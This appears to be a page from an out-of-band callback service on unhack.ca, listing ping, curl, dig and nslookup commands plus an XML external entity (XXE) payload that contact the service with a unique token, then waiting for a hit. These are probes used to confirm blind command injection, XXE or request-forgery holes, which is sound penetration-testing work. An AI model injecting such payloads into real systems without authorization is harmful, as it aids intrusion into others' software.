$ ping -c1 -p 007fbcc39833d16ec39fcb2bca5f2400 unhack.ca
 
$ curl http://unhack.ca/p/7fbcc39833d16ec39fcb2bca5f24
 
$ dig 7fbcc39833d16ec39fcb2bca5f24 @unhack.ca
 
$ dig 7fbcc39833d16ec39fcb2bca5f24.ns.unhack.ca
 
C:\> nslookup 7fbcc39833d16ec39fcb2bca5f24 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/7fbcc39833d16ec39fcb2bca5f24">]>
    <foo>&xxe;</foo>
Waiting for ping...